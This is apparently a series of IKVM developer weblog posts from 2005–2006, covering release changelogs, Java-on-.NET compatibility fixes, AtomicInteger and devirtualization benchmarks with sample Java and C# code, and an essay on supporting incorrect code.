While trying this I discovered a bug in the 64 bit version of the CLR. It doesn't respect MethodImpl(MethodImplOptions.NoInlining) and this means that Eclipse fails to start up, because it still does that weird stack walking to make sure that a particular method is called by the expected caller. BTW, instead of using the stack trace from an exception, they now use a subclass of SecurityManager and call getClassContext on that. That mechanism is a little better, but it is still incredibly lame.

The good news is that after adding a hack to IKVM to insert some extra junk in that particular method that prevents it from being inlined, Eclipse 3.2 x64 seems to run fine on IKVM.

Coincidentally, Eclipse 3.2 doesn't work on IKVM 0.28.0.1, because my implementation of getClassContext returned one stack frame too few (the GNU Classpath VMStackWalker interface is somewhat inconsistent, the other two methods in it both skip two frames, but getClassContext is apparantly only supposed to skip one frame).

Update: I got an e-mail from someone on the CLR team and he explained that the observed behaviour is by design. The method is not inlined, but the JIT optimizes the call into a tail call, thereby removing the stack frame from the call stack. Strictly speaking this is indeed a legal optimization, but I have to say I don't really see the point, if I wanted a tail call I would have used the tail call instruction.

7/12/2006 4:59:45 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, July 05, 2006

Eclipse Java Compiler

The recent Eclipse 3.2 release includes a release of the stand alone Eclipse Java Compiler (they call it the JDT Core Batch Compiler). It is available as ecj.jar.

I switched to using this version for building GNU Classpath. If you want to use the same version, simply download ecj.jar and run it through ikvmc.

7/5/2006 5:23:41 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, June 15, 2006

Custom Attributes as Annotations

I implemented partial and experimental support for applying .NET Custom Attributes in Java code as annotations. The following example now works:


import cli.System.Runtime.InteropServices.DllImportAttribute;

class beep
{
  @DllImportAttribute.Annotation("kernel32")
  private static native int Beep(int dwFreq, int dwDuration);

  public static void main(String[] args)
  {
    for (int i = 1000; i < 3000; i += 200)
      Beep(i, 50);
  }
}

I realise that the name of the annotation type is a bit ugly, but it's consistent with the way delegates are handled and it enables efficient handling of custom attributes at runtime (when compiling code in dynamic mode) and doesn't require access to the ikvmstub generated stub classes.

At the moment only attributes that have a zero arg or single string arg constructor are supported and attribute fields or properties are not exposed.

The Annotation inner interface cannot be used for anything except annotating. If you try to implement it or declare variables or parameters of its type, you will get internal errors in IKVM.Runtime.dll (because there is no corresponding .NET type). I will probably fix this at some point, but for now simply don't use that type except for annotating.

Finally, even though the Annotation annotation type is marked as Retention(RetentionPolicy.RUNTIME), it won't be visible through Java reflection. It's complicated to make this work and the value of it is limited. As an alternative, you can use .NET reflection to access the custom attributes.

6/15/2006 2:31:25 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, June 08, 2006

More AtomicInteger Performance

In my previous entry on AtomicInteger I showed timings on my single CPU ThinkPad which has a 1.7 GHz Pentium M. Today I investigated the performance on my iMac which has a 1.83 GHz Core Duo and like the ThinkPad runs Windows XP SP2.

I've also modified AtomicInteger to take advantage of Interlocked.Increment, Decrement and Exchange. Instead of following the reference implementation which builds everything on top of the compareAndSet operation.

Running the same test produces the following numbers:

  Time (ms)
JDK 1.5 HotSpot Server VM

2282

JDK 1.5 HotSpot Client VM

2922

IKVM

2406

C#

1922


Note that the test is significantly slower than on the Pentium M. This is most likely because of the bus locking overhead.

It gets even more interesting when we modify the test to have two threads that concurrently increment the same field:

  Time (ms)
JDK 1.5 HotSpot Server VM

22563

JDK 1.5 HotSpot Client VM

25109

IKVM

15016

C#

12000

The first thing to note is the fact that the test now takes an order of magnitude more time. Presumably, this is caused by the communication overhead between the two cores.

The second is that here IKVM significantly outperforms HotSpot Server. The reason for this is simple: IKVM uses Interlocked.Increment which ultimately uses the XADD x86 instruction that atomically performs the load/increment/store. By contrast, the AtomicInteger reference implementation uses the following loop to increment the value:

public final int incrementAndGet() {
    for (;;) {
        int current = get();
        int next = current + 1;
        if (compareAndSet(current, next))
            return next;
    }
}

When another thread updates the field between the get and compareAndSet, the compareAndSet will fail and the loop will have to run for another iteration. When multiple CPUs are continuously trying to increment the value this is likely to happen relatively frequently.

Standard disclaimer: As always these microbenchmarks are designed to magnify a particular effect. Be careful about drawing overly large conclusions from them.

6/8/2006 9:08:01 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, June 01, 2006

IKVM 0.28 bug fix release

A new 0.28 release to fix two bugs reported by users. The first bug is a regression that caused native method resolution not to work for statically compiled code and the second bug is that instanceof didn't work with ghost interface arrays (e.g. obj instanceof Serializable[] would cause the runtime to abort). No other changes.

Files are available here: ikvm-0.28.0.1.zip (sources + binaries), ikvmbin-0.28.0.1.zip (binaries), ikvmbin-generics-0.28.0.1.zip (binaries built from generics branch)

6/1/2006 9:48:05 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, May 30, 2006

java.util.concurrent.atomic.AtomicInteger

Last week Tom Tromey posted a proposal for a patch to the Classpath patches mailing list for JSR-166 support. Triggered by this I did some preliminary investigation to see how much work it will be to support this in IKVM.

The reference implementation uses the sun.misc.Unsafe class to calculate the offset of a field in a class and to directly access this field using the appropriate memory model semantics. HotSpot has intrinsic support for the performance cricitical methods in sun.misc.Unsafe. Unfortunately, this model isn't very suitable for IKVM, because the CLI does not specify a way to portably obtain the offset of a field in a class (and it even allows the offset to change over time). I've implemented all the required methods in sun.misc.Unsafe based on reflection, but obviously this is very slow (preliminary measurements show a 10x to 100x slowdown compared to JDK 1.5).

The good news is that some important classes can easily be ported to a more CLI friendly approach. As an example I've modified the reference implementation of AtomicInteger to use System.Threading.Interlocked.CompareExchange() instead of sun.misc.Unsafe.compareAndSwapInt(). This is a small change and allows for good performance. Here is the benchmark I used:

import java.util.concurrent.atomic.*;

public class test {
static AtomicInteger foo = new AtomicInteger(0);
public static void main(String[] args) {
long start = System.currentTimeMillis();
for (int i = 0; i < 100000000; i++) {
foo.incrementAndGet();
}
long end = System.currentTimeMillis();
System.out.println(end - start);
System.out.println(foo);
}
}

Here are the timings (IKVM and C# timings on Microsoft .NET Framework 1.1):

  Time (ms)
JDK 1.5 HotSpot Server VM

861

JDK 1.5 HotSpot Client VM

1312

IKVM

1543

C#

1452


I included the C# version for comparision. Here is the source for it:

using System;
using System.Threading;

public class test {
static int foo;
static void Main() {
int start = Environment.TickCount;
for (int i = 0; i < 100000000; i++) {
Interlocked.Increment(ref foo);
}
int end = Environment.TickCount;
Console.WriteLine(end - start);
Console.WriteLine(foo);
} }

Note how much easier the C# programming model is. Given support for managed by ref arguments, there is no need for an extra indirection or hacks like sun.misc.Unsafe.

5/30/2006 12:27:17 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, May 23, 2006

IKVM 0.28 Released

I released 0.28 (same bits as last week's release candidate) to SourceForge.

5/23/2006 1:30:32 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, May 16, 2006

Using foreach to enumerate Java collections in C# 3.0

A long standing feature request for IKVM has been to make Java collections implement System.IEnumerable and I've always resisted doing that for various reasons.

I while ago -- while discussing this with Stuart Ballard -- I realised that with the proposed C# 3.0 language extensions, in particular "extension methods" it should be possible to make Java collections foreach-able with little effort:

namespace java.util
{
  public static class CollectionExtensionMethods
  {
    public static IEnumerator GetEnumerator(this java.util.Collection col)
    {
       return new CollectionEnumerator(col);
    }
  }
}

For those who don't know how extension methods work, basically the above code (note the this keyword before the argument type) adds a method to java.util.Collection that feels like an instance method.

Given the way foreach works, I had expected that it too would recognize this GetEnumerator method and therefore work on all Java collections, but alas that is not the case.
If you want to see this changed before C# 3.0 is released, please vote. Alternatively, if you're Miguel and on the ECMA C# committee, it should be obvious what to do ;-)

5/16/2006 3:03:28 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

IKVM 0.28 rc1

A new release candidate based on GNU Classpath 0.91. I did some perf work and a fair bit of restructuring in the way class loaders work, to better support ikvmc and ikvmstub on assemblies loaded in the ReflectionOnly context (on .NET 2.0). The perf work resulted in a significantly improved startup time for Eclipse (IKVM 0.26: 1 minute 23 seconds, IKVM 0.28: 55 seconds).

Updated japi results are available here. The comparison is against JDK 1.5 now and ignores the generics metadata.

Changes:

  • Integrated GNU Classpath 0.91 plus one patch.
  • Added explicit null check for return value of GetEntryAssembly() in VMSystemProperties.
  • Implemented socket timeout by using Socket.Poll() instead of setting the timeout on the underlying socket (because .NET 2.0 considers the socket broken after a Read timed out).
  • Removed classLoader field from TypeWrapper and made GetClassLoader() abstract (to enable subclasses to use a more efficient way to store the class loader).
  • Moved creation of java.lang.Class object from TypeWrapper constructor (because it would trigger a call to GetClassLoader before that was ready to return meaningful data and also because it wasn't semantically correct to expose the TypeWrapper instance before it was fully constructed).
  • Added ikvm.lang.Internal annotation to mark types and members as internal to the assembly (supported by ikvmc only, not in dynamic mode.) Note that ikvm.lang.Internal should only be applied to public types and members. Note also that to reflection these internal types and members will appears as package private.
  • Removed map.xml hacks to work around cross package accessibility issues (now done by marking the appropriate types/members public and annotating them with @ikvm.lang.Internal).
  • Added map.xml implementation of Class.newInstance (to support @ikvm.lang.Internal).
  • Changed ClassFile to pack major version and flags together to reduce the size of the object.
  • Changed ClassFile.FieldOrMethod to pack flags together.
  • Simplified (and made more consistent) member access checking in reflection.
  • Added -privatepackage option to ikvmc (to mark all classes in a package tree as internal).
  • Fixed object model remapping to add methods inherited from Object to Throwable.
  • Fixed some edge cases in method override resolution.
  • Added optimization to compiler to devirtualize method calls on this reference when it is safe to do so.
  • Added volatile opcode prefix to remapper.
  • Added support for specifying .NET types in catch block to remapper.
  • Made 1.5 support part of the standard build.
  • Restructed ikvmc.exe and IKVM.Runtime.dll.
  • Centralized caching of ByteCodeHelper MethodInfos in ByteCodeHelperMethods.
  • Fixed Thread.join() bug that caused join to spin for large timeouts.
  • Added optimization to not emit linenumbertable for methods that cannot throw exceptions.
  • Much improved annotation support.
  • Fixed ikvmc to only generate corresponding .NET attributes for annotations that have RetentionPolicy.RUNTIME.
  • Fixed ikvmc to add AttributeUsageAttribute to annotation attributes (based on the Target annotation).
  • Optimized verifier a little by making InstructionState use copy-on-write strategy.
  • Changed string comparisons to ReferenceEquals when possible (identifiers are interned, so this is usually possible).
  • Improved VMStackWalker.getCalling[Class|ClassLoader] performance by removing the unnecessary check for HideFromJava/HideFromReflection attributes.
  • Almost completely removed usage of custom attributes for dynamically compiled code (because defining custom attributes is slow).
  • Fixed race condition when two threads define the same class name in two different class loaders at the same time.
  • Fixed possible deadlock while finishing dynamically loaded types.
  • Fixed bug in Class.getModifiers() for statically compiled anonymous inner classes.
  • Moved loading .NET types by their assembly qualified names from the class loader to Class.forName.
  • Fixed class loader not to load Java classes, by their .NET array, pointer or reference name.
  • Moved hack to return system class loader for .NET and statically compiled types from [Compiled|DotNet]TypeWrapper to Class.getClassLoader.

Files are available here: ikvm-0.28.0.0.zip (sources + binaries), ikvmbin-0.28.0.0.zip (binaries), ikvmbin-generics-0.28.0.0.zip (binaries built from generics branch)

5/16/2006 11:06:10 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, April 06, 2006

@ikvm.lang.Internal

Hopefully someday Java will support more than the current simplistic scheme where classes are either public or non-public. In the meantime, I've added support to ikvmc for marking classes (and members) as internal (i.e. private to the assembly they live in). By marking a public class with the @ikvm.lang.Internal annotation ikvmc (and IKVM.Runtime.dll) will only allow access to the class by other code also living in the same assembly. I've also added a switch to ikvmc for making an entire package tree internal (the switch is named -privatepackage:<prefix>).

In addition, I've now enabled 1.5 support in the mainline version. Many of the 1.5 APIs that previously were only available on the GNU Classpath generics branch have been ported to the trunk, so it is starting to make more sense to enable 1.5 support in the VM by default.

The code is in cvs, although SourceForge has been having some problems, so it might not yet be available thru anoncvs. Development snapshot binaries are available here.

4/6/2006 2:42:05 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, March 30, 2006

A Micro Optimization

Yesterday I thought of a potential micro optimization for the generated CIL code. Since I'm now tracking method invocations on the this reference, it is possible to devirtualize calls to final methods or methods that are provably not overridden. I didn't expect too much from this optimization, because I assumed that the .NET JIT is capable of doing the same optimization and so the only effective difference would be the removal of the explict null check of the this reference.

After implementing the optimization I wrote a micro benchmark:

final class perf {
  public static void main(String[] args) {
    perf p = new perf();
    p.runTest();
  }
  private void runTest() {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 1000000000; i++) {
      equals(null);
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Here are the results:

  Time (ms)
IKVM 0.26 10806
IKVM 0.27 1883
JDK 1.1 4597
JDK 1.5 Client VM 12068
JDK 1.5 Server VM 0


Somewhat to my surprise neither JDK 1.5 Client VM nor the .NET Framework JIT realised that the virtual method invocation could be devirtualized. Unsurprisingly, HotSpot Server VM was able to deduce that the loop didn't actually do anything at all and optimize it away entirely.

I also threw in JDK 1.1, because as usual in microbenchmarks it outperforms HotSpot Client VM.

Note that the use of the equals method in the benchmark is not very significant, it's just a placeholder for a simple method that can easily be inlined. This optimization is most significant for simple property getters that can be inlined.

The code for this optimization is not yet in cvs.

Oops

On a more embarrassing note, doing this optimization also revealed a hole in the object model remapping. Throwable doesn't properly inherit all the Object methods. The code that gets generated works correctly (in most cases), but it is not verifiable. Here's an example of something that is currently broken:

public class test extends Throwable {
  public static void main(String[] args) throws Exception {
    test c = new test() {
      protected Object clone() {
        return "OK";
      }
    };
    System.out.println(c.clone());
  }
}

Running this on IKVM throws a CloneNotSupportedException instead of printing OK.

3/30/2006 11:08:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, March 24, 2006

Rotor 2.0 released

Microsoft released Rotor 2.0. Rotor is the Shared Source implementation of the CLI (and shares a large part of the code with the .NET Framework 2.0).

Congratulations and thanks to the Rotor team!

3/24/2006 4:07:55 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, March 23, 2006

IKVM 0.26 Released

I finally got around to releasing the 0.26 bits (identical to rc2). Get them here.

3/23/2006 1:34:00 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Saturday, March 11, 2006

IKVM 0.26 rc2

A new release candidate. It turns out I was a little over enthusiastic in restructuring the class loading to move dynamic class loading into a subclass (which I did to make it easier to build a version of IKVM.Runtime.dll that doesn't support dynamic class loading, to run on the Compact Framework). java.lang.reflect.Proxy support requires that you can dynamically load classes in the bootstrap class loader, so I added back support for that (in a hacky way by delegating to a bogus instance of DynamicClassLoader). This bug was reported by Chris Keller who was also kind enough to fix two socket bugs.

Changes:

  • Restored the ability to dynamically load a class in the bootstrap class loader.
  • Changed PlainSocketImpl to throw java.net.SocketTimeoutException instead of java.io.InterruptedIOException when a timeout expires.
  • Changed PlainSocketImpl.read() to return zero instead of throwing an exception when a non-blocking socket read would block.

Files are available here: ikvm-0.26.0.1.zip (sources + binaries), ikvmbin-0.26.0.1.zip (binaries), ikvmbin-generics-0.26.0.1.zip (binaries built from generics branch)

3/11/2006 7:48:06 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, March 08, 2006

IKVM 0.26 rc1

A new release candidate based on GNU Classpath 0.90 (the successor to 0.20). IKVM.GNU.Classpath.dll grew by more than a megabyte. A big part of this is due to the new crypto implementation that was merged into GNU Classpath. This a great improvement!

Updated japi results are available here.

  • Integrated GNU Classpath 0.90
  • Updated classpath.security with new security providers
  • Added "Windows Vista" as a possible value of os.name system property
  • Included VMObjectInputStream.currentClassLoader() fix from Classpath version
  • Fixed Float.toString() bug (1E8 would be converted to "1E+08.0" instead of "1.0E8")
  • Made some VMThread members package accessible to avoid accessor methods
  • Added copyright banners to executables (when run without command line arguments or with the -version option)
  • Added "-showversion" option to ikvm.exe
  • Fixed ikvmstub to use IKVM.Runtime.Util.GetClassFromTypeHandle() instead of IKVM.Runtime.Util.GetFriendlyClassFromType(), because that would cause problems on remapped types in mscorlib.
  • Fixed support for dynamically instantiating a class that was not loadable at method compilation time.
  • Added support for running interface static initializer when accessing a final field.
  • Moved most .NET resource reading code from IKVM.GNU.Classpath to IKVM.Runtime, to make it easier to use new resource and compression APIs on Whidbey.
  • Introduced ikvm.io.InputStreamWrapper (wraps a java.io.InputStream around a System.IO.Stream).
  • Removed undocumented -manifestResources ikvmc option. When compiled for Whidbey, resources are now always stored as manifest resources.
  • When compiled for Whidbey, resources are now compressed using DeflateStream instead of custom compression.
  • Changed SoftReference never to be cleared, since there is no reliable way to detect low memory and clearing them too eagerly breaks Eclipse.
  • Fixed ikvmstub to also export implemented interfaces that are non-public.
  • Split off dynamic class loading support from ClassLoaderWrapper.cs into new DynamicClassLoader.cs.
  • Moved static compiler support from vm.cs to new file CompilerClassLoader.cs.
  • Fixed CompiledTypeWrapper and DotNetTypeWrapper to finish base class and interfaces in their Finish method.

Files are available here: ikvm-0.26.0.0.zip (sources + binaries), ikvmbin-0.26.0.0.zip (binaries), ikvmbin-generics-0.26.0.0.zip (binaries built from generics branch)

3/8/2006 11:14:37 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Saturday, February 11, 2006

Eclipse Again

Nat commented on the previous entry:

I just tried to run ikvm against eclipse 3.1.2. It failed with the following message:

!ENTRY initial@reference:file:plugins/org.eclipse.core.runtime_3.1.2.jar/ 0 0 2006-02-02 11:49:09.218
!MESSAGE FrameworkEvent.ERROR
!STACK 0
org.eclipse.core.runtime.InvalidRegistryObjectException: Invalid registry object
...

This turns out to be caused by a SoftReference that is being cleared too eagerly. Since .NET has no soft references and there is no way to determine if the managed heap is running low, I used a hack to always promote objects referenced by a soft reference to generation 2 and from there on treat them as weak references, which effectively means they will be collected the next time a full GC is run and there are no more strong references to the object. Strictly speaking clearing them before running out of memory is not incorrect, because the Java doc for SoftReference says:

All soft references to softly-reachable objects are guaranteed to have been cleared before the virtual machine throws an OutOfMemoryError. Otherwise no constraints are placed upon the time at which a soft reference will be cleared or the order in which a set of such references to different objects will be cleared.

However, Eclipse depends on soft references not being cleared (at least during a particular window while it is starting up). I realised that always promoting the object to generation 2 is not correct either (because you may run out of memory before the object gets there). So considering the complexity and possible performance implications of the current hacks, I decided to simply never clear SoftReferences.

In conclusion, the .NET Framework needs something like soft reference support and until that happens, it won't be possible to implement SoftReference correctly and efficiently.

Update: Nat points out in the comments that there is a workaround:

As a workaround, you can start up eclipse with the following command line

eclipse -vm c:\tools\ikvm-0.24.0.1\bin\ikvm.exe -vmargs -Declipse.noRegistryFlushing=true

2/11/2006 1:52:02 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Monday, January 30, 2006

IKVM 0.24 Released

I released 0.24.0.1 to SourceForge. João Saraiva reported that ikvmstub doesn't work correctly for mscorlib, but I've decided not to fix that for this version and instead make the correct mscorlib.jars available for download: .NET 1.1 and .NET 2.0

1/30/2006 9:12:31 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Monday, January 23, 2006

IKVM 0.24 rc2

João Saraiva reported a bug that I considered serious enough to fix for the 0.24 release, so here's a new release candidate. I also snuck in another AWT related fix.

Changes:

  • Changed WinForms event loop thread to STA.
  • Fixed handling of open generic types (by making sure they are invisible to Java code).

Files are available here: ikvm-0.24.0.1.zip (sources + binaries), ikvmbin-0.24.0.1.zip (binaries), ikvmbin-generics-0.24.0.1.zip (binaries built from generics branch)

1/23/2006 11:15:40 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 16, 2006

IKVM 0.24 rc1

A new release candidate based on GNU Classpath 0.20 that was released this weekend. The GNU Classpath progress has been truly amazing. Updated japi results are available here. If no major bugs are found in this rc it will turn into a release, probably by the end of the week or early next week.

Note that while I did a little work to improve compatibility with the .NET Compact Framework, it is not supported and does not work. There is also no commitment from my end to work on this.

Changes:

  • Integrated GNU Classpath 0.20
  • Changed nant build files to use NAnt 0.85-rc3 syntax and features
  • Removed support for compiling classpath with jikes
  • Added support for targetting both .NET 1.1 and .NET 2.0 to the build files
  • Removed assembly names from type names in map.xml (to better support targetting a different version of the CLR)
  • Added conditional compilation support to map.xml parser (based on target CLR version)
  • Changed map.xml Object.hashCode implementation to use RuntimeHelpers.GetHashCode when targetting .NET 2.0 (RuntimeHelpers.GetHashCode is broken on .NET 1.1 and the non-virtual call trick is no longer verifiable on .NET 2.0)
  • Added map.xml Object.equals implementation instead of relying on System.Object.Equals.
  • Changed map.xml VMSystem.identityHashCode to use RuntimeHelpers.GetHashCode when targetting .NET 2.0
  • Hardened VMSystemProperties to work better on the Compact Framework (where several methods are missing)
  • Fixed several NIO socket bugs
  • Changed FileChannelImpl to work on the Compact Framework (stdin, stdout and stderr are missing on the Compact Framework)
  • Hardened VMClassLoader to work better on the Compact Framework
  • Changed static compiler to use ReflectionOnly context for loading and generating assemblies (when compiled for .NET 2.0)
  • Added conditional compilation #ifs to the runtime to work better on the Compact Framework
  • Changed compilation of invokespecial bytecode to be verifiable on .NET 2.0
  • Added IKVM.Runtime.Util.GetInstanceTypeFromClass() to go from java.lang.Class to System.Type. Note that due to the object model mapping issues there is no one-to-one correspondence from Class to Type, so this method returns the "instance" type, which is logically equivalent to doing Class.newInstance().GetType().
  • Fixed ikvm.exe to give a proper error message when using the -jar option on a jar that doesn't have a manifest or a manifest that doesn't have a Main-Class attribute.
  • Added several hacks to ikvmc, ikvmstub and the runtime to support loading assemblies in the ReflectionOnly context.
  • Implemented optimization in compiler to remove redundant box/unbox operation is many cases.
  • Changed compiler to explicitly implement all inherited interfaces, for compatibility with the Compact Framework.
  • Fixed DotNetTypeWrapper.LoadTypeFromLoadedAssemblies to support generic type instantiations.
  • Optimized compiler to push/pop only the rightmost requires arguments when doing method argument conversions.
  • Implement "this" reference tracking in verifier, to enable code generator to emit more efficient (and verifiable on .NET 2.0) non-virtual base class method calls.
  • Optimized compiler to use short encoding when possible for backward branches.
  • Removed unnecessary verifier hack branch at the end of methods that don't use exception blocks and used short form of the branch.
  • Fixed Math.pow(1.0, Double.INFINITY) result on .NET 2.0.
  • Added SourceFileAttribute to module when running in dynamic mode, to enable source file reporting when running on .NET 2.0.
  • Changed code generator to leave out redundant branches.
  • Fixed infinite recursion in resource loading when SecurityManager is installed.

Files are available here: ikvm-0.24.0.0.zip (sources + binaries), ikvmbin-0.24.0.0.zip (binaries), ikvmbin-generics-0.24.0.0.zip (binaries built from generics branch)

1/16/2006 3:15:07 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Saturday, December 24, 2005

Getting Incorrect Code to Run Correctly

One of the big challenges of doing a new implementation of an already existing platform is compatibility with the existing platform. Even though there is usually documentation or maybe even a specification that describes the functionality of the platform (and the things you can and cannot depend upon), in practice it turns out that much code that is written against a particular implementation will depend on implementation details. A typical response to this problem is: "That code is incorrect, because it makes assumptions that aren't guaranteed to hold."

The truth of the matter is, of course, that this issue isn't black and white. Sometimes the documentation or specification is vague or ambiguous, sometimes you need to depend on implementation details, because the documented interface simply isn't good enough or in many cases the dependency may simply be a bug in the code, but it's not always easy, desirable or even possible to fix the code.

Ultimately, when a customer has a piece of code that runs correctly on one implementation and it doesn't run on another implementation, the customer has a problem (and will in many cases assume that the problem is caused by the alternative implementation, since that's only thing that is being varied), so from a customer's point of view, supporting “incorrect” code can be a very important feature.

I've spent a lot of effort in IKVM to support incorrect code. Sometimes this can be frustrating, but I realize that the value of IKVM is to a large degree proportional to its compatibility with Java.

Some people in the GNU Classpath community think that we should implement the specification as correctly and efficiently as possible, but I'm often arguing for compatibility with the Sun implementation, even if this means duplicating buggy or inefficient behavior. Obviously this is a tricky issue, because Sun fixes bugs and sometimes makes backward compatibility breaking changes as well, so in every case we need to figure out whether it is likely that Sun will ever fix the bug (or change the implementation) and whether the benefit outweighs the cost.

It's important to always keep in mind though, that “The Right Thing” from our geeky developer oriented view doesn't always align with our customer's expectations and I think that most FOSS projects could benefit from a little bit more customer oriented thinking every now and then.

12/24/2005 1:01:15 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Thursday, November 24, 2005

IKVM 0.22 Released

I released 0.22 to SourceForge.

11/24/2005 10:50:03 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Monday, November 14, 2005

IKVM 0.22 rc1

It took a little longer than usual, but I finally managed to put together rc1 of IKVM 0.22 based on GNU Classpath 0.19. For the first time, this release also includes binaries built from the GNU Classpath generics branch. Many thanks to Andrew John Hughes for doing the work that makes this possible.

Update japi results are available here.

Changes:

  • Integrated GNU Classpath 0.19
  • Fixed bug 1310397.
  • Implemented reading package metadata from MANIFEST.MF for ikvmc compiled code.
  • Fixed ClassCastException in ExceptionHelper when Throwable instance methods are called on not remapped .NET exception that was caught in non-Java code and passed through a Java exception handler.
  • Fixed bug reported in support request 1280333.
  • Implemented RemappedTypeWrapper.Finish().
  • Implemented wakeup and waiting for empty list in classpath/gnu/java/nio/SelectorImpl.java
  • Fixed ikvmc resource compression bug that could cause last couple of bytes to fall off.
  • Added a META-INF/MANIFEST.MF to IKVM.GNU.Classpath.dll, so that Class.getPackage() returns the proper info for system classes.
  • Relaxed requirements for field and methods names (as per third edition VM specification).
  • Fixed runtime not to invoke user class loaders when instantiating an array type.
  • Improved weak reference support (improved performance and SoftReferences are not cleared as aggresively as before).
  • Fixed ikvmstub regression that caused .NET 2.0 generic types used by exported types not to be exported.

Files are available here: ikvm-0.22.0.0.zip (sources + binaries), ikvmbin-0.22.0.0.zip (binaries), ikvmbin-generics-0.22.0.0.zip (binaries built from generics branch)

11/14/2005 12:08:37 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Saturday, October 01, 2005

GNU Classpath generics branch snapshot

As promised a while ago, here is the first IKVM snapshot based on the GNU Classpath generics branch. Note that this does not indicate a commitment to base the next release on the generics branch. I will only start basing my releases on the generics branch when GNU Classpath developer snapshots for the generics branch will be made. I don't know of there is any plan to do so at this time.

New in this release is the ability to reflect on the Java 1.5 generic type information. Based on these new APIs ikvmstub can now roundtrip generic type information (remember, this is Java generics, not .NET generics) and thanks to Stuart's work on Japi we can now get a status of the GNU Classpath library and at the same time test the IKVM/Classpath reflection infrastructure and ikvmstub. Results are available here.

The IKVM source + binaries snapshot is available here. This was build by specifying the “generics” target. Some of the changes in this version are only available when you build this target.

Changes:

  • Method.getModifiers() on ikvmc compiled code didn't return Modifier.SYNCHRONIZED for static synchronized methods.
  • Added support ceq IL instruction to remapper.
  • Added adhoc support for .NET type signatures in <call /> remapper instruction.
  • Improved build file support for building generics branch.
  • Added SignatureAttribute to various map.xml classes and methods.
  • Updated SharpZipLib to 0.84.
  • Added .NET attributes and support for capturing Java Signature and EnclosingMethod attributes.
  • Added support for mapping Java varargs methods onto .NET vararg methods (and v.v.).

Changes (“generics” build target only):

  • Implemented support for 1.5 generic reflection methods.

  • Added support to ikvmstub for roundtripping (Java) generics, enums, annotations, varargs and synthetic marker.

10/1/2005 1:27:27 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, September 11, 2005

IKVM 0.20 Released

I released 0.20 to SourceForge.

9/11/2005 4:39:33 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, September 07, 2005

IKVM 0.20 rc1

A new release candidate based on yesterday's GNU Classpath 0.18 release. Unless any showstoppers are found, these bits will become the official 0.20 release in a few days.

Update japi results are available here.

Changes:

  • Integrated GNU Classpath 0.18
  • Fixed (previously unused) CountingILGenerator.BeginFaultBlock().
  • Added reusing temporary locals to compiler (to reduce file size).
  • Added optimization to compiler to remove recursive exception handlers that make synchronized block exit async safe (see http://weblog.ikvm.net/PermaLink.aspx?guid=3af9548e-4905-4557-8809-65a205ce2cd6).
  • Added optimization to compiler to turn synchronized block exit exception handlers into fault blocks.
  • Interned all member names and signatures (to save memory).
  • Interned type names.
  • Made some minor optimizations to class file parsing.
  • Stopped "normalizing" tableswitch instruction to lookupswitch (since the compiler treated them differently already).
  • Corrected "cannot throw" bytecode metadata flag for ifnonnull instruction.
  • Changed ByteCodeMetaData.CanThrowException() to take NormalizedByteCode.
  • Removed non-normalized bytecode from Instruction structure.
  • Added support for throwing NoClassDefFoundError when accessing a type that previously failed static initialization.
  • Changed ClassLoader.findLoadedClass to also find array classes made of classes that are already loaded (for compatibility with Sun JDK 1.4).
  • Changed ClassLoader <-> ClassLoaderWrapper association from hashtable to using the vmdata field in ClassLoader.
  • Rewrote large parts of class caching by the class loaders to be more spec compliant and more compatible with the Sun implementation for unspecified behavior.
  • Added class and baseclass name to VerifyError message when a class extends a final class.
  • Removed broken mechanism that tried to doom entire classes when a method was unverifiable, instead of throwing the VerifyError when the method is actually called.
  • Fixed bug that caused critical error when compiling a class that contains a package private method that overrides a protected method in a base class.
  • Added more info to some of the loader constraints violated exception messages.
  • Fixed ikvmc to continue compilation when encountering a class that cannot be loaded (due to inaccessible or final base classes).
  • Fixed various bugs in FileChannel.lock()/tryLock().
  • Fixed a verifier bug.
  • Added error message when a typename occurs in multiple referenced assemblies.
  • Fixed VMFile.mkdir NullPointerException when trying to create a root directory.
  • Added ClassFile.GetClassName() to be able to sniff class name from class definition without fully parsing the class definition.
  • Removed ability to parse java.lang.Object from ClassFile.
  • Removed OuterClass property from ClassFile.
  • Moved accidental Finish trigger detection from JavaTypeImpl.Finish to ClassLoaderWrapper.OnTypeResolve, to facilitate new "finish as we go" strategy used by ikvmc.
  • Fixed a couple of places in FieldWrappers where FieldInfo.FieldType was used (which isn't available anymore after we bash the contents of the FieldBuilders to save memory).
  • Enabled Reflection.Emit private field bashing hack to conserve memory for static compilation as well.
  • Introduced IKVM_DISABLE_TYPEBUILDER_HACK environment variable to disable the hack that bashes Reflection.Emit private fields to conserve memory.
  • Changed the way inner classes are resolved by ikvmc to facilitate new "finish as we go" strategy used by ikvmc.
  • Fixed subtle miranda method bug when dealing with loader constraint violations.
  • Fixed method generator to set MethodAttributes.NewSlot when a mangled method name is used to override a method.
  • Introduced JVM.FinishingForDebugSave to save memory, simplify code and fix a theoretical bug.
